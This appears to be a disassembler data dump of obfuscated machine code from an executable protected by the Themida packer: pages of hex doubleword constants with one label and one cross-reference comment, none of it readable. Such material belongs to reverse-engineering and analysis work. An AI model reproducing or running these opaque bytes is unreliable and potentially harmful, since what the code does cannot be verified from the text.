dd 0DFB3B0D3h, 575F29BBh, 6A006A2Ch, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0BF7AC357h
dd 0B776C98h, 0F006AFCh, 2EBBDABFh, 8D120C84h, 0E675B185h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 49278430h, 83DABE4Bh, 0BD8B05C0h, 5E21E95h
dd 89F98B50h, 11E92404h, 0BB000000h, 1EF51E9Eh, 459A2E82h
dd 0F344357Eh, 24A24008h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0A22D29C3h, 731DD64Fh
dd 358DBB3Dh, 6A2F5Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 53C35242h, 64C94740h, 1A2F4A9Bh, 9E9h
dd 0CE08C100h, 8FABE523h, 95FF21DEh, 5E21E2Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 63C35646h, 39B58951h
dd 8D05E22Dh, 0E59D808Dh, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 299B5921h
dd 12E8D1FFh, 54000000h, 0F3152BF1h, 0ABFBB08Bh, 0DC562DD5h
dd 4764756Fh, 0DFBF0F3Dh, 0B9BD835Bh, 105E200h, 0AA850Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0BEAC92C3h, 0F538435h, 583h, 0CF816600h
dd 6A5FB66Fh, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 5239227Ch, 0BF5ABF22h, 5FA3170Fh
dd 0D59D8B60h, 6105E231h, 0F525050h, 480h, 2BB6600h, 66310F42h
dd 5A5E14BBh, 24048958h, 0FF22C380h, 0E214E995h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 8A8435BEh, 89C916E9h, 0E22B418Dh, 0CED78005h, 0E7AE9h
dd 0E800h, 815D0000h, 0E675BBEDh, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F33B1E2Ch
dd 0F60F4D1h, 681h, 598D8900h, 0F05E213h, 687h, 0B5EA8100h
dd 613588C1h, 0D946D381h, 858D788Eh, 5E58E9Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 62C35242h, 0BB60E4A6h
dd 3EFF27EDh, 2FA59589h, 16105E2h, 0E217A9B5h, 5E89005h
dd 4E000000h, 7F0A7394h, 6F3329BFh, 66505B69h, 901ACCBBh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 10C35747h
dd 0ABD7BF66h, 64F8BF0Fh, 35FFh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C2CDA3C3h
dd 5FEF8F22h, 13E8h, 706A8100h, 0C04C0979h, 4190D688h
dd 8D873553h, 0D6F655E5h, 8D0F60h, 0B4000000h, 0B75F61D9h
dd 2589646Dh, 0
dd 2665BD09h, 85FF05E2h, 5E22329h, 0BF0FFF6Ah, 61B5FFD9h
dd 6A05E223h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 903CC351h, 3451D5F7h, 189D95FFh
dd 0E4E905E2h, 81000000h, 0C4F48E3h, 900B017h, 0E2068985h
dd 8970E605h, 0E222ED85h, 971E405h, 0E22191B5h, 7F57BF05h
dd 613C2C3Fh, 0B9830Fh, 0B60F0000h, 9E9C8h, 48CB0000h
dd 6F82B9C3h, 66D11A7Bh, 0B1D7C381h, 6BAh, 0B5295600h
dd 5E20861h, 8BC18B5Bh, 0E22D399Dh, 4E8C105h, 860FDF8Bh
dd 6, 9A98D89h, 0F76605E2h, 7BBF66E2h, 8BC82B6Bh, 0BBD18BD9h
dd 261E5068h, 6E9h, 25BD8B00h, 8B05E210h, 0E2066D85h, 0A5BD8905h
dd 0BB05E20Fh, 4DD20D6Dh, 8B07C083h, 0C083DFh, 0D03BF88Bh
dd 0B830Fh, 9D8B0000h, 5E20B81h, 32E9h, 5D8D8B00h, 0F05E20Bh
dd 0E183F9B7h, 20840F01h, 66000000h, 83681ABFh, 0E20B5DA5h
dd 0BB66FE05h, 9589AA9Ah, 5E2066Dh, 64DB509h, 0E905E2h
dd 8D000000h, 0E5FD0BB5h, 56FC6005h, 10E9h, 6B760E00h
dd 0C6A05699h, 0CEE51CC6h, 0E2F02B76h, 0E9615BDBh, 13h
dd 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h, 6AC3B2F6h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0BD29A0A4h, 5E219A9h, 1A75BD89h, 95FF05E2h
dd 5E20AB9h, 48D6C781h, 0EAB9609Fh, 0E9000008h, 12h, 63A16D1Fh
dd 0A3B54DFFh, 0DAE60B48h, 551F55A4h, 0D98B3A98h, 0FFCE183h
dd 687h, 65852900h, 0FC05E231h, 31A19589h, 0B805E2h, 0E8000000h
dd 14h
dword_535554 dd 1D791C9Ah, 3C9B46CCh, 6054967Ch, 0E62DA5ADh, 0FF430D84h
; DATA XREF: Themida_:004EF72Co
dd 0D090D381h, 0BA5F73D3h, 0
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 14E9h, 42FA8000h
dd 8B07218Bh, 6AD79334h, 9EB87DF6h, 6509D07Dh, 198D89B8h
dd 0D05E225h, 88h, 0BE9958Bh, 0DE905E2h, 1000000h, 0E3D66D72h
dd 0CAEEFF8h, 0DE3E54F4h, 7618D8Bh, 8D8905E2h, 5E232D9h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD295818h
dd 5E2302Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 5EC35343h, 83C217E1h, 0E20D79BDh, 840F0005h, 2Dh
dd 24459D33h, 0B8F805E2h, 0
dd 1809BD0Bh, 8D8D05E2h, 5E24C42h, 0D5BD2960h, 6605E224h
dd 62DFE281h, 8BE1FF61h, 0E22C91BDh, 55BD8305h, 5E21Bh
dd 4FA840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0E394BEC3h, 14840FB6h, 0F000000h
dd 0E83h, 9E900h, 5F8E0000h, 2B9308CCh, 665AADBFh, 0BD83DA8Bh
dd 5E21B55h, 0CC840F01h, 6A000004h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 31AEC352h
dd 0EDD7812Bh, 8350C023h, 0E21B55BDh, 860F0305h, 465h
dd 0F250ACBBh, 3DB5894Eh, 6005E21Bh, 66F9B70Fh, 9D03D98Ch
dd 5E21185h, 2904E180h, 0E2297595h, 0FC90A05h, 16584h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0F9BF0F67h, 6860F60h, 0F000000h, 86h, 0BE900h
dd 0ABAD0000h, 0D3841C17h, 0F906C31Fh, 858B6100h, 5E2241Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 55C35343h
dd 2AA98533h, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 4B6F92C3h, 0E210CA74h, 0CF8166BBh
dd 850F092Bh, 6, 178D9D29h, 8B5005E2h, 240489DEh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C9C35545h, 0C9C4912Ah
dd 8B91EA6Bh, 0E2089D9Dh, 52BF6605h, 68006ADCh, 753832D1h
dd 81D98B66h, 312E2434h, 6A7527h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0DA8BDBC3h, 83995FFh
dd 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 51D5F7C3h, 157C1134h, 68B0Fh, 0C7810000h
dd 7FD5511Bh, 0BB9D8589h, 6A05E5h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0C3661C3h, 85FF6B1Ch
dd 0E99AF4AAh, 260h, 26A1BD2Bh, 858B05E2h, 5E5BB95h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3BC35646h, 894AA578h
dd 1800C749h, 0E8000000h, 0Fh, 0E15F99C2h, 0E36EB5C6h
dd 0F2896510h, 31CCF514h, 0E21B318Dh, 60605F05h, 3265B58Bh
dd 8A0F05E2h, 0
dd 19890F61h, 0E8000000h, 13h, 0E1C6D59Ah, 0F8FE606Fh
dd 633784C0h, 91079735h, 58B9ABFFh, 99B58B61h, 6A05E5BBh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 8B6CC355h, 0D694039Bh, 0C4DB8144h, 0B714B5C0h
dd 0F9858B7Bh, 8905E200h, 0E210A18Dh, 6A068905h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 5FCAC356h, 7B4CCAA8h, 8B0F6301h, 8, 71BD2B53h, 5F05E21Eh
dd 1F15BD8Bh, 858B05E2h, 5E2241Dh, 14C5BD0Bh, 468905E2h
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 1DA23BBFh, 695F9167h, 96DFBF0Fh, 0E9575250h
dd 13h, 0A7380EF5h, 89A91EAAh, 41976F6Eh, 0F36C4E08h, 5F676130h
dd 0BF66310Fh, 585A2C80h, 14E86050h, 0AE000000h, 3E54F40Ch
dd 2D55C2DEh, 0C163A3D6h, 113154EDh, 8B186637h, 966158F1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8DC35747h
dd 95B5FF85h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 2B53C351h, 0FFC145FFh
dd 0BF66111Bh, 0B3684FE5h, 66CC31D1h, 81BD97BBh, 324C2404h
dd 6A33EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0F6D2AFC3h, 80F986F5h, 97EF8054h, 0BB9D858Dh
dd 2B6005E5h, 0E223E9BDh, 15858905h, 6105E20Ch, 50DE8B90h
dd 8E0F5250h, 4, 0CBABBF66h, 6052310Fh, 585A5F61h, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 55FE07DEh, 9B6A7AF1h, 0BF665700h, 8B607119h, 0E20A45BDh
dd 0BB61F805h, 6F93C7D3h, 83995FFh, 536005E2h, 665B5F57h
dd 61764ABBh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 0B700BBBEh, 335CFEDCh, 0E22C659Dh
dd 58B0F05h, 66000000h, 1D1FCF81h, 1B5585C7h, 305E2h, 29500000h
dd 0E21A4595h, 0BD835F05h, 5E5BB9Dh, 2A840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0AABCC357h, 1016CE45h, 1EE95Eh, 0B70F0000h
dd 0C3050DAh, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 13ED9D8Bh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 9D8B97C3h, 5E21C59h
dd 1B55BD83h, 0F0305E2h, 50885h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 833F409Bh
dd 0E5BB9DBDh, 840F0005h, 4DDh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 6EC35141h, 1DCB07E1h, 0FF2B13D6h
dd 0E5BB9DB5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 0D2E82F48h, 60FE8B66h
dd 0D2B70F57h, 95FF6158h, 5E2172Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 3EC35040h, 0FEB70F60h, 0B58961FCh
dd 5E21E01h, 0BB91B58Bh, 6A05E5h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0A29CB4C3h, 6C7F828h
dd 10001h, 14870Fh, 0FE90000h, 0C5000000h, 9CC0A080h, 9BCA810Eh
dd 892B95A0h, 95018608h, 5E20E95h, 0E9525050h, 0Fh, 95A6D57Ah
dd 61A9A6D1h, 545ED61Eh, 0F350E68h, 5AD98B31h, 24348958h
dd 16A99D89h, 0B5FF05E2h, 5E5BB9Dh, 0D195FFFCh, 0E905E22Bh
dd 8, 248160D8h, 22B2AFFBh, 0BB91B58Bh, 96005E5h, 0E223E985h
dd 858B6105h, 5E210DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 8AC35646h, 90376B74h, 294ABBB8h, 0E221C185h
dd 0C4868905h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 4C33C352h, 122ECA72h
dd 0BD8BBC69h, 5E22209h, 0BE9958Bh, 6A05E2h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0DA8DBAC3h
dd 27D97379h, 6673C204h, 8841F381h, 6A04C283h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0F796C357h, 8EE6F70Bh, 13E83A59h, 0B000000h, 17B308ECh
dd 6D6D3354h, 126788F7h, 0C23E7A8h, 0B509B55Bh, 5E21D49h
dd 0FE95Fh, 0FAB50000h, 3ED50225h, 0FA788A6Dh, 2E0BF00Ah
dd 205089C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 8BC35747h, 6AD79334h, 8DB87DF6h, 0E5CE5B85h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 15A65595h, 0C1852900h, 0E905E208h, 10h, 4FA64F72h, 6F7B428Ah
dd 785CE3DAh, 0C698814Ch, 0BF1BD23h, 868905E2h, 0B8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D7C35747h, 6A90FBh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 3CC35242h
dd 68D0Fh, 9D8B0000h, 5E224F1h, 0BB9DB5FFh, 6A05E5h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0C63062C3h, 1D419D0Bh, 95FF05E2h, 5E214E9h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 7CC35545h, 48105077h
dd 7B4EEEEh, 7E864h, 0D7760000h, 0B4792F7h, 1DD78027h
dd 6860F5Bh, 29000000h, 0E20D7D95h, 0FE8B9605h, 0FB8B6650h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 24C0D843h, 8D815B08h, 0FA8B66AFh, 0BE8h
dd 4EC28100h, 0CF9A58A6h, 94F54CECh, 1518531h, 0FF5F05E2h
dd 0E5BB9DB5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 4C66F3FAh, 37F38166h
dd 2195FF61h, 6A05E22Dh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 8A9EC357h, 63B256CBh
dd 89BD83h, 0F0005E2h, 2A84h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8A961ADDh
dd 24B750F9h, 418D8996h, 0FF05E211h, 0E5BB9DB5h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 8166D209h, 0FF2E3ECFh, 0E2041595h, 51B58905h, 0FF05E215h
dd 0E5BB9DB5h, 0FFF88B05h, 0E20A5995h, 0BE905h, 99190000h
dd 0F1ED4C04h, 7C2BD2E2h, 0CDBD8377h, 205E224h, 5F840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 2A3E08C3h, 0F966C6C0h, 0BF4B03A0h, 739563F3h
dd 1F35858Bh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 67D545C3h, 7A2DB159h, 80A9FBBEh
dd 0C6B2CBh, 4BBB6600h, 0F985C789h, 5E20Ch, 60000000h
dd 9D09FDB0h, 5E22161h
dd 0BE961h, 36250000h, 0F9E59928h, 0B34E19E5h, 0F2D2E91Dh
dd 9D8BFFFFh, 5E22D41h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0A5E94C3h, 2BC7A47Ch
dd 8DFE8B93h, 0E20E9185h, 17D78105h, 90331B36h, 1DA9BB66h
dd 6A9050h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0C07292C3h, 3888923Eh, 6AAA91h, 4219D8Bh
dd 6A05E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 85C35343h, 0FF7F614h, 858DDFB7h, 5E685F1h, 1BF99D8Bh
dd 0C08305E2h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 4FAB25DDh, 0AE850B9h
dd 0E5000000h, 0D023CB8Dh, 0DF49837Fh, 5F5056EFh, 4895F5Bh
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 8D31C139h, 5E20C45h, 8166006Ah, 6A19D8DBh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0AD12EA72h, 5880F4Fh, 66000000h, 74B1F781h
dd 1E2D95FFh, 8D8D05E2h, 5E59D80h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 6C35747h, 68AF9117h, 8BAF0083h
dd 0E21C699Dh, 6AD1FF05h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 7C18C351h, 3D6975D2h
dd 302D9D8Bh, 0BD8305E2h, 5E200B9h, 55850F01h, 0E8000000h
dd 0Fh, 7A99F704h, 0C4500B42h, 158FC8DEh, 8BB9FF2Fh, 26A5FFBh
dd 5F23B351h, 7E950h, 8F180000h, 0FB5D5FE5h, 240489C6h
dd 30319D89h, 95FF05E2h, 5E214E9h, 10E8h, 171CB800h, 52E3D057h
dd 4B18DED4h, 0B1F2947Fh, 3DBD8BB0h, 5F05E215h, 0EDDE9h
dd 0E800h, 815D0000h, 0E685FBEDh, 5E805h, 0CB170000h, 0F9ADB00Dh
dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 858DFBDFh, 5E58E9Eh, 2AE5BD8Bh, 895005E2h
dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 893449C3h, 0FF640203h, 35h, 66FC6000h, 6461C68Bh
dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 4A4DB2C3h, 0F5EBBF66h, 232985FFh
dd 0F98B05E2h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0B74A13C3h, 205067A6h, 0FFDF56EEh
dd 0E20659B5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 81661A60h, 0FF3FA7CBh
dd 0E2189D95h, 12AE905h, 9D230000h, 5E21F99h, 9D8900B0h
dd 5E200ADh, 0B70F70E6h, 8971E4FFh, 0E20D31B5h, 0F613C05h
dd 10783h, 0C8B60F00h, 6BAF5h, 8E80000h, 1E000000h, 60245840h
dd 0BF4E2D1Dh, 528C118Fh, 850F5Fh, 8B000000h, 0A1B531C1h
dd 0C105E20Fh, 816604E8h, 664A5BDFh, 0B589E2F7h, 5E210B5h
dd 18E0Fh, 2BF90000h, 6800FC8h, 8B000000h, 0E219059Dh
dd 0FD9D0105h, 8B05E218h, 699D8BD1h, 0E905E21Dh, 4, 899FBB66h
dd 326D858Bh, 0E95305E2h, 0Dh, 0BA034160h, 627AB98Bh, 18B7DC3Eh
dd 85895FFAh, 5E21D99h, 6607C083h, 0C083DF8Bh, 81666000h
dd 0BD629D8h, 0E211118Dh, 0D03B6105h, 27830Fh, 11E90000h
dd 66000000h, 0C3D2537h, 55A1672Dh, 4DD0210Ah, 9F1974F0h
dd 0E9F8BF0Fh, 44h, 89FB8B66h, 0E215F1BDh, 0F98D8B05h
dd 6605E209h, 83CFF1BBh, 840F01E1h, 28h, 8BD9BF0Fh, 0F9A583D8h
dd 0FE05E209h, 15F19D8Bh, 958905E2h, 5E2326Dh, 0C18D8B60h
dd 8005E203h, 0E961A6E7h, 0
dd 776B58Dh, 5F5705E6h, 23E9BD8Bh, 6A05E2h, 0AB59501h
dd 95FF05E2h, 5E20AB9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 16C35040h, 8AD98B4Fh, 871B9FDh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 745DEEC3h, 996D4714h, 31589730h, 0E21DF5B5h, 0FCE18305h
dd 1F018D89h, 0B8FC05E2h, 0
dd 0DE9h, 282F0800h, 0B8322B28h, 0A15E2DADh, 0D22B2EAEh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AEC35242h
dd 9D9D2356h, 0AD05E20Dh, 0E8D1C233h, 0E983D003h, 6AF47504h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0CA2AC351h, 9C08CF76h, 0DEB70FB6h, 7CC8BF66h
dd 6AFB8B66h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 0C22DC350h, 16AD0342h, 0CCD7D575h
dd 17358589h, 880D05E2h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C9CDC352h
dd 89A21102h, 0E20E319Dh, 0E5BD3105h, 8B05E21Dh, 0E20BE995h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 8E298C87h, 9D9F761Ah, 0DA8B6613h, 7618D8Bh
dd 896005E2h, 0E200D9BDh, 9FD38105h, 6154D168h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 8BF315C3h
dd 0D5ABFBB0h, 0FDC562Dh, 0F8Fh, 0AE900h, 0B7FD0000h, 0CC72E633h
dd 0C73CB44Dh, 18810Fh, 0FC600000h, 10E9h, 0FA030100h
dd 0D03E0E63h, 1C7DB200h, 0A9189CEAh, 0F98A61F3h, 0D79BD83h
dd 0F0005E2h, 6384h, 0E3816600h, 0B85AD0h, 60000000h, 14E9h
dd 4AD77300h, 3F22D243h, 0DEC8B70Ch, 841389A4h, 27751858h
dd 8D9D0390h, 6105E204h, 4C428D8Dh, 8B6605E2h, 6AE1FFD8h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 9058C351h, 0C2C694F3h, 606B4D2Dh, 919D01F8h
dd 6105E218h, 1B55BD83h, 0F0005E2h, 50184h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 8320698Eh, 0E21B55BDh, 840F0105h, 4F1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8DC35646h, 0B4AAC5C4h
dd 0BD8396E3h, 5E21B55h, 8C860F03h, 66000004h, 0E9A733BFh
dd 0Ah, 99583B8Dh, 0B437BFF5h, 51600DBEh, 0D98C665Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 59C35646h, 0D3F618C3h
dd 39B07B1h, 0E21D85BDh, 71B58905h, 8005E201h, 9D8B04E1h
dd 5E21AA1h, 840FC90Ah, 14Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 88C35242h, 1F618589h, 858B05E2h
dd 5E2241Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 7AC35242h, 8533009Dh, 5E22AA9h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 8DC35646h, 1DBB508Bh
dd 8961912Dh, 880F2404h, 6, 2F9D9D8Bh, 858905E2h, 5E20C85h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0D2E04AC3h, 8E19A5D1h, 8B0F5B8Ah, 6, 16BD8D09h
dd 0BF6805E2h, 8113B346h, 45402434h, 6A13ACh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D6548CC3h
dd 0CC95C304h, 0CE9h, 90FEC800h, 0FA071AF9h, 1E1CF19Fh
dd 3995FF6Bh, 6A05E208h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 197EC352h, 8589EDB1h
dd 5E5BB9Dh, 524AB560h, 58DBBF0Fh, 0F1BD0961h, 0E905E221h
dd 235h, 14E9h, 9A56C300h, 0D02FE09Dh, 5B2FB1EBh, 0C4BF4CCEh
dd 0AF8C0D6Fh, 95858BBDh, 6605E5BBh, 0C7FE8Bh, 18h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 58C35343h, 0D86E28F5h
dd 0F5BAC05h, 68Ah, 519D3300h, 8B05E21Bh, 0E5BB99B5h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 75DF2FF5h, 870F5954h, 0Ch, 68C0Fh, 0B5290000h, 5E20E31h
dd 0F9858Bh, 0BB6605E2h, 689C81Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 53C35545h, 222D9D23h, 858B05E2h
dd 5E2241Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 82C35343h, 8EB2A3D7h, 0F9D433ADh, 0DF8050D6h, 46895B53h
dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 89B30BA3h, 0E20589BDh, 5396F805h, 7E8h
dd 0F8BAFE00h, 0BEF3327Ch, 5B5BDEB3h, 5FBB6650h, 0DE8A968Fh
dd 81DBD8Bh, 0B5FF05E2h, 5E5BB95h, 1F0D8D89h, 0BA6805E2h
dd 607627F0h, 0CE9h, 7FB3D000h, 0BCDB1E4Ch, 959582EFh
dd 0DE94Eh, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 61BC9867h
dd 45243481h, 6A7638F3h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 12D1C357h, 3FC3E662h
dd 0D3818BA7h, 489CC439h, 0BB9D858Dh, 6A05E5h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0D05CBBC3h, 44EDF1BEh, 58F0F60h, 0BE000000h, 4C578413h
dd 5850957h, 5905E21Fh, 8B665061h, 240489FAh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D3C35343h, 0E9F2EE04h
dd 0Ah, 9EB3C1B1h, 0B0D49C86h, 8589E4CAh, 5E22B35h, 83995FFh
dd 820F05E2h, 10h, 0A860Fh, 5E90000h, 2A000000h, 9E064E62h
dd 5CC581BBh, 6A616Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 408270C3h, 70E691DCh, 5585C725h
dd 305E21Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 63E5C351h, 3686E823h
dd 859D8956h, 5F05E215h, 15F1BD8Bh, 0BD8305E2h, 5E5BB9Dh
dd 60840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 9CF8C351h, 59D0B86h
dd 0E905E206h, 0Bh, 0B58EDDDh, 0F18BF256h, 0E984CA50h
dd 42h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
dd 0B8C35545h, 0C780858Fh, 51BD8B5Fh, 5005E213h, 110C30h
dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h
dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h
dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 8B66C08Bh
dd 57006AFBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 8EB6121Dh, 2103C7BBh, 55BD8313h, 305E21Bh
dd 4AB850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
